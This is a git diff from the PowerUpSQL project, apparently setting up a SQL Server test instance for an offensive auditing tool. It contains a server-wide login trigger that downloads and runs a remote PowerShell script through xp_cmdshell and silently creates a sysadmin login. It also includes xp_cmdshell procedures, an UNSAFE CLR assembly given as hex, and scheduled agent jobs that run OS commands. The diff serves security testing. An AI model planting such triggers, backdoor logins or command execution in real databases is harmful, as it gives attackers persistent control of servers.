-SELECT t1.name as 'Table_Name', - t2.name as 'Column_Name', - t3.name as 'Column_Type', - t1.create_date, - t1.modify_date, - t1.parent_object_id, - OBJECT_ID(t1.parent_object_id) as parent_object, - (SELECT CASE WHEN (select len(t1.name) - len(replace(t1.name,'#',''))) > 1 THEN 1 ELSE 0 END) as GlobalTempTable, - (SELECT CASE WHEN t1.name like '%[_]%' AND (select len(t1.name) - len(replace(t1.name,'#',''))) = 1 THEN 1 ELSE 0 END) as LocalTempTable, - (SELECT CASE WHEN t1.name not like '%[_]%' AND (select len(t1.name) - len(replace(t1.name,'#',''))) = 1 THEN 1 ELSE 0 END) as TableVariable -FROM tempdb.sys.objects AS t1 -JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID +-- Script: Get-TempTableColumns.sql +-- Author: Scott Sutherland +-- Description: Return a list of all temp table types. +-- Include table variables, local temp tables, and global temp tables. + +SELECT 'tempdb' as 'Database_Name', + SCHEMA_NAME(t1.schema_id) AS 'Schema_Name', + t1.name AS 'Table_Name', + t2.name AS 'Column_Name', + t3.name AS 'Column_Type', + CASE + WHEN (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t1.name LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t1.name NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE NULL + END AS Table_Type, + t1.is_ms_shipped, + t1.is_published, + t1.is_schema_published, + t1.create_date, + t1.modify_date +FROM [tempdb].[sys].[objects] AS t1 +JOIN [tempdb].[sys].[columns] AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id -WHERE t1.name like '#%'; +WHERE t1.name LIKE '#%' diff --git a/templates/tsql/New-TempTableSample.sql b/templates/tsql/New-TempTableSample.sql new file mode 100644 index 0000000..44a13d9 --- /dev/null +++ b/templates/tsql/New-TempTableSample.sql @@ -0,0 +1,46 @@ +-- Create sample table variables and local/global temp tables + +-- Create global temporary table +IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL) +CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); + +-- Insert records global temporary table +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') +GO + +-- Query global temporary table +SELECT * +FROM ##GlobalTempTbl +GO + +-- Create local temporary table +IF (OBJECT_ID('tempdb..#LocalTempTbl') IS NULL) +CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); +-- Insert records local temporary table +INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') +INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') +INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') +INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') +GO +-- Query local temporary table +SELECT * +FROM #LocalTempTbl +GO + +-- Create table variable +If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable') +DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); + +-- Insert records into table variable +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') + +-- Query table variable in same batch +SELECT * +FROM @table_variable +GO diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index 88672e2..ccedab3 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -1,5 +1,7 @@ -- Script: pesterdb.sql -- Description: This script can be used to configure a new SQL Server 2014 instance for PowerUpSQL Pester tests. +-- https://github.com/NetSPI/PowerUpSQL/blob/master/tests/pesterdb.sql +-- Author: Scott Sutherland, NetSPI ------------------------------------------------------------ -- Create Logins, Database Users, and Grant Assembly Privs @@ -618,6 +620,36 @@ if exists (select name from sys.procedures where name = 'sp_findspy2') GRANT EXECUTE ON sp_findspy2 to test_login_ownerchain GO +-- Create stored procedures that executes OS commands using data from a global temp table + +USE tempdb3; +GO + +CREATE PROCEDURE sp_WhoamiGtt +AS +BEGIN + -- Create a global temporary table to store the command + IF OBJECT_ID('tempdb..##GlobalTempTableCommands') IS NULL + BEGIN + CREATE TABLE ##GlobalTempTableCommands ( + Command NVARCHAR(4000) + ); + END; + + -- Insert the command "whoami" into the global temporary table + INSERT INTO ##GlobalTempTableCommands (Command) + VALUES ('whoami'); + + -- Declare a variable to hold the command + DECLARE @Command NVARCHAR(4000); + + -- Select the command from the global temporary table + SELECT TOP 1 @Command = Command FROM ##GlobalTempTableCommands; + + -- Execute the command using xp_cmdshell + EXEC xp_cmdshell @Command; +END; +GO ------------------------------------------------------------ -- Create Test Triggers @@ -675,6 +707,72 @@ if (select count(*) from sys.sql_logins where name like 'SysAdmin_DML') = 0 EXEC sp_addsrvrolemember 'SysAdmin_DML', 'sysadmin'; GO +-- Create a DML trigger that uses Global Temp tables + +USE testdb3; +GO + +CREATE TRIGGER trigger_dml_gtt +ON NOCList +AFTER INSERT +AS +BEGIN + -- Create a global temporary table + CREATE TABLE ##GlobalTempTable ( + Message NVARCHAR(100) + ); + + -- Insert the word "hello" into the global temporary table + INSERT INTO ##GlobalTempTable (Message) + VALUES ('hello'); + + -- Optionally, you can select from the global temporary table to verify insertion + SELECT * FROM ##GlobalTempTable; + + -- Drop the global temporary table + DROP TABLE ##GlobalTempTable; +END; +GO + +-- Create a DDL trigger that uses Global Temp tables + +CREATE TRIGGER [trigger_ddl_gtt] +ON ALL SERVER +FOR DDL_LOGIN_EVENTS +AS +BEGIN + -- Create a global temporary table to store the URLs if it doesn't already exist + IF OBJECT_ID('tempdb..##GlobalTempTableUrls') IS NULL + BEGIN + CREATE TABLE ##GlobalTempTableUrls ( + Url NVARCHAR(4000) + ); + END; + + -- Insert the URL into the global temporary table + INSERT INTO ##GlobalTempTableUrls (Url) + VALUES ('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/trigger_demo_ddl.ps1'); + + -- Use xp_cmdshell to run a PowerShell command that uses the URL from the global temporary table + DECLARE @Url NVARCHAR(4000); + SELECT TOP 1 @Url = Url FROM ##GlobalTempTableUrls; + + DECLARE @Cmd NVARCHAR(4000); + SET @Cmd = 'Powershell -c "IEX (New-Object Net.WebClient).DownloadString(''' + @Url + ''')"'; + + EXEC master..xp_cmdshell @Cmd; + + -- Add a sysadmin named 'SysAdmin_DDL' if it doesn't exist + IF (SELECT COUNT(name) FROM sys.sql_logins WHERE name LIKE 'SysAdmin_DDL') = 0 + BEGIN + -- Create a login + CREATE LOGIN SysAdmin_DDL WITH PASSWORD = 'SysAdmin_DDL', CHECK_POLICY = OFF; + + -- Add the login to the sysadmin fixed server role + EXEC sp_addsrvrolemember 'SysAdmin_DDL', 'sysadmin'; + END; +END; +GO ------------------------------------------------------------ -- Create Test Keys, Certificates, and Cert Logins @@ -710,3 +808,534 @@ GO If not Exists (select loginname from master.dbo.syslogins where name = 'certuser') EXEC sp_addsrvrolemember 'certuser', 'sysadmin'; GO + +---------------------------------------------------------------------- +-- Setup CLR Assessembly Procedures with hardcoded encryption key +---------------------------------------------------------------------- + +-- Select the msdb database +use msdb +GO + +-- Enable show advanced options on the server +sp_configure 'show advanced options',1 +RECONFIGURE +GO + +-- Enable clr on the server +sp_configure 'clr enabled',1 +RECONFIGURE +GO + +-- Disable clr strict security +-- SQL Server 2017 introduced the ‘clr strict security’ configuration. Microsoft documentation states that the setting needs to be disabled to allow the creation of UNSAFE or EXTERNAL assemblies. +DECLARE @MajorVersion INT; + +-- Get the major version number of SQL Server +SELECT @MajorVersion = LEFT(CAST(SERVERPROPERTY('ProductVersion') AS VARCHAR), CHARINDEX('.', CAST(SERVERPROPERTY('ProductVersion') AS VARCHAR)) - 1); + +-- Check if the SQL Server version is 2017 or later +IF @MajorVersion >= 14 -- SQL Server 2017 is version 14.x +BEGIN + -- Disable 'clr strict security' configuration + EXEC sp_configure 'clr strict security', 0; + RECONFIGURE; + GO + PRINT 'CLR strict security configuration has been disabled.'; + GO +END +ELSE +BEGIN + PRINT 'CLR strict security configuration cannot be modified. The SQL Server version is not 2017 or later.'; + GO +END; + +-- Create assembly +CREATE ASSEMBLY [CommonLib] +FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103009D50D2590000000000000000E00002210B010B000012000000060000000000000E300000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000B42F00005700000000400000A802000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000014100000002000000012000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000140000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001800000000000000000000000000004000004200000000000000000000000000000000F02F000000000000480000000200050010250000A40A000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B300500890000000100001100000F00280400000A168D01000001280500000A720100007028030000060A178D080000010D091672290000701F0C20A00F00006A730600000AA209730700000A0B280800000A076F0900000A000716066F0A00000A00280800000A076F0B00000A00280800000A6F0C00000A0000DE160C007237000070086F0D00000A280E00000A0000DE00002A0000000110000000000100707100160D0000011B300500890000000100001100000F00280400000A168D01000001280500000A720100007028040000060A178D080000010D091672290000701F0C20A00F00006A730600000AA209730700000A0B280800000A076F0900000A000716066F0A00000A00280800000A076F0B00000A00280800000A6F0C00000A0000DE160C007237000070086F0D00000A280E00000A0000DE00002A0000000110000000000100707100160D0000011B30040046010000020000110002280F00000A16FE01130811082D0B724D000070731000000A7A03280F00000A16FE01130811082D0B7261000070731000000A7A140A140B00037E01000004731100000A0C731200000A0B0708076F1300000A1E5B6F1400000A6F1500000A0007186F1600000A0007076F1700000A076F1800000A6F1900000A0D731A00000A1304001104076F1800000A8E69281B00000A161A6F1C00000A001104076F1800000A16076F1800000A8E696F1C00000A0011040917731D00000A1305001105731E00000A1306001106026F1F00000A0000DE14110614FE01130811082D0811066F2000000A00DC0000DE14110514FE01130811082D0811056F2000000A00DC0011046F2100000A282200000A0A00DE14110414FE01130811082D0811046F2000000A00DC0000DE14000714FE01130811082D07076F2300000A0000DC000613072B0011072A0000013400000200C7000DD40014000000000200BD002FEC001400000000020083008E1101140000000002003900F0290114000000001B30040020010000030000110002280F00000A16FE01130911092D0B727B000070731000000A7A03280F00000A16FE01130911092D0B7261000070731000000A7A140A140B00037E01000004731100000A0C02282400000A0D09732500000A130400731200000A0A0608066F1300000A1E5B6F1400000A6F1500000A0006186F1600000A0006110428050000066F2600000A0006066F1700000A066F1800000A6F2700000A13051104110516731D00000A1306001106732800000A130711076F2900000A0BDE14110714FE01130911092D0811076F2000000A00DC0000DE14110614FE01130911092D0811066F2000000A00DC0000DE14110414FE01130911092D0811046F2000000A00DC0000DE14000614FE01130911092D07066F2300000A0000DC000713082B0011082A013400000200B1000ABB0014000000000200A7002CD30014000000000200550096EB00140000000002003900CA03011400000000133004005B00000004000011001A8D200000010A020616068E696F2A00000A068E69FE010D092D0C007291000070732B00000A7A0616282C00000A8D200000010B020716078E696F2A00000A078E69FE010D092D0C0072FB000070732B00000A7A070C2B00082A56282D00000A723D0100706F2E00000A80010000042A1E02282F00000A2A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C00000044030000237E0000B00300004804000023537472696E677300000000F8070000580100002355530050090000100000002347554944000000600900004401000023426C6F620000000000000002000001571502000900000000FA2533001600000100000022000000020000000100000007000000070000002F0000000400000004000000010000000200000000000A00010000000000060032002B000A005A0045000600AE00A40006001601F60006003601F6000A006F01540106008F012B000A009D0154010A00A90139000A00B30154010A00C10154010A00CC015401060016022B0006002C022B0006004C022B0006007F0262020600920262020600A20262020600C10262020600DE02620206000103620206002203A40006002F032B0006004203620206004F03620206006003A40006006D03A400060078032B00060094032B000600D903A4000600E603A4000600FB032B00060005042B000600300424040000000001000000000001000100010010001800000005000100010011007C001000502000000000960064000A000100F82000000000960070000A000200A02100000000960082001400030028230000000096009300140005008824000000009100B5001A0007000525000000008618C30021000800EF240000000091181D040901080000000100C90000000100C90000000100D20000000200DC0000000100E90000000200DC0000000100F4002100C30025002900C30021003100C3002100110085012F003900960133004100C3003A005100C30042005900D40149006100DD014E005100EE0154006100F8014E00610007022100690020022F00710034025A0039003E026B007900C30070008100C30075008900C30021009100B5027C009900CD0280009100D60286009100E9028C009100F20292009100FA029200910012039700B100C3002100B900CD02A00019003C03A600C100C300AE00D100C300B800D9003C037000E10084032100B1008C039200E9009C03BE009100AB032100E900B103D600B100C30086009100C20386009100C9039700F100C300B800F900F1032F0019000004F0000901C3007000B9001504F800110139040D011101CD0213010900C300210020001B002A002E00130022012E000B00190140001B002A006000C400DC00FF00048000000000000000000000000000000000180000000400000000000000000000000100220000000000040000000000000000000000010039000000000000000000003C4D6F64756C653E00636F6D6D6F6E6C69622E646C6C00636F6D6D6F6E6C6962006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E670062656566656E6372797074006265656664656372797074005F73616C7400456E6372797074537472696E674145530044656372797074537472696E674145530053797374656D2E494F0053747265616D0052656164427974654172726179002E63746F72004D79537472696E6700706C61696E5465787400736861726564536563726574006369706865725465787400730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F636564757265417474726962757465006765745F56616C756500537472696E6700466F726D61740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C7473537461727400536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E6400457863657074696F6E006765745F4D65737361676500436F6E736F6C650057726974654C696E650049734E756C6C4F72456D70747900417267756D656E744E756C6C457863657074696F6E0053797374656D2E53656375726974792E43727970746F677261706879005266633238393844657269766542797465730052696A6E6461656C4D616E616765640053796D6D6574726963416C676F726974686D006765745F4B657953697A65004465726976654279746573004765744279746573007365745F4B6579004369706865724D6F6465007365745F4D6F6465006765745F4B6579006765745F4956004943727970746F5472616E73666F726D00437265617465456E63727970746F72004D656D6F727953747265616D00426974436F6E7665727465720057726974650043727970746F53747265616D0043727970746F53747265616D4D6F64650053747265616D57726974657200546578745772697465720049446973706F7361626C6500446973706F736500546F417272617900436F6E7665727400546F426173653634537472696E6700436C6561720046726F6D426173653634537472696E67007365745F495600437265617465446563727970746F720053747265616D52656164657200546578745265616465720052656164546F456E64004279746500526561640053797374656D457863657074696F6E00546F496E743332002E6363746F720053797374656D2E5465787400456E636F64696E67006765745F556E69636F64650000000000276100650073006800690064006500740068006500620065006500660031003200330034003500000D6F007500740070007500740000154500720072006F0072003A0020007B0030007D00001370006C00610069006E0054006500780074000019730068006100720065006400530065006300720065007400001563006900700068006500720054006500780074000069530074007200650061006D00200064006900640020006E006F007400200063006F006E007400610069006E002000700072006F007000650072006C007900200066006F0072006D006100740074006500640020006200790074006500200061007200720061007900004144006900640020006E006F00740020007200650061006400200062007900740065002000610072007200610079002000700072006F007000650072006C00790000194300610070007400610069006E00530061006C007400790000009092612DC92C6841833C9171C7A25FBA0008B77A5C561934E08905000101110903061D050500020E0E0E0600011D05120D03200001042001010804010000000320000E0600020E0E1D1C072003010E11250A062001011D1221040000123105200101122905200201080E050002010E1C0A07040E122912351D1221040001020E042001010E062002010E1D05032000080520011D0508052001011D050520010111510420001D0508200212551D051D050500011D0508072003011D05080809200301120D1255116505200101120D0500010E1D051107090E1245124112551259126112690E020500011D050E13070A12450E12411D0512591255126112790E02072003081D050808060002081D05080907041D051D051D0502030000010500001280890520011D050E0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301000000DC2F00000000000000000000FE2F0000002000000000000000000000000000000000000000000000F02F00000000000000000000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D006500000063006F006D006D006F006E006C00690062002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000063006F006D006D006F006E006C00690062002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000C000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +WITH PERMISSION_SET = UNSAFE +GO + +-- Map assembly method beefencrypt to procedure +CREATE PROCEDURE [dbo].[beefencrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefencrypt]; +GO + +-- Map assembly method beefdencrypt to procedure +CREATE PROCEDURE [dbo].[beefdencrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefencrypt]; +GO + +-- Run procedure +beefencrypt "hello there" +GO + +-- Run procedure +beefdencrypt "EAAAAJVbaCaMSI3k1N99P31tP//K4WzvBUEaNW94Ed9yWyhB" +GO + +---------------------------------------------------------------------- +-- Create agent jobs that execute OS commands - CMDEXEC +---------------------------------------------------------------------- + +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - CMDEXEC] Script Date: 5/9/2024 9:12:13 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:12:13 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=0, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [Run CMD] Script Date: 5/9/2024 9:12:13 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run CMD', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'CmdExec', + @command=N'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\artifact-cmd.txt', + @flags=0 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'CmdDaily', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=1, + @freq_subday_interval=0, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20240509, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'11e6216d-c317-4cfd-81c9-053ad9b22dbc' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + +---------------------------------------------------------------------- +-- Create agent jobs that execute OS commands - PowerShell +---------------------------------------------------------------------- + +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - POWERSHELL] Script Date: 5/9/2024 9:09:22 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:09:22 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=0, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [Run PowerShell] Script Date: 5/9/2024 9:09:22 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run PowerShell', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'PowerShell', + @command=N'"hello world" | out-file c:\windows\temp\artifact-powershell.txt', + @database_name=N'master', + @flags=0 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'PowershellDaily', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=1, + @freq_subday_interval=0, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20240509, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'5040c673-1700-4296-a892-71e7140e1054' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + +---------------------------------------------------------------------- +-- Create agent jobs that execute OS commands - ActiveX VBScript +---------------------------------------------------------------------- + +USE [msdb] +GO + +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT] Script Date: 5/9/2024 9:06:00 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:06:00 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT1', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=0, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [RUN ActiveX: VBSCRIPT] Script Date: 5/9/2024 9:06:00 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN ActiveX: VBSCRIPT', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'ActiveScripting', + @command=N'FUNCTION Main() + +dim shell +set shell= CreateObject ("WScript.Shell") +shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\artifact-vbscript.txt") +set shell = nothing + +END FUNCTION', + @database_name=N'VBScript', + @flags=0 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'VBDaily', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=1, + @freq_subday_interval=0, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20240509, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'1572a7dc-cafb-4a4b-b92e-ed4715f154b0' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO 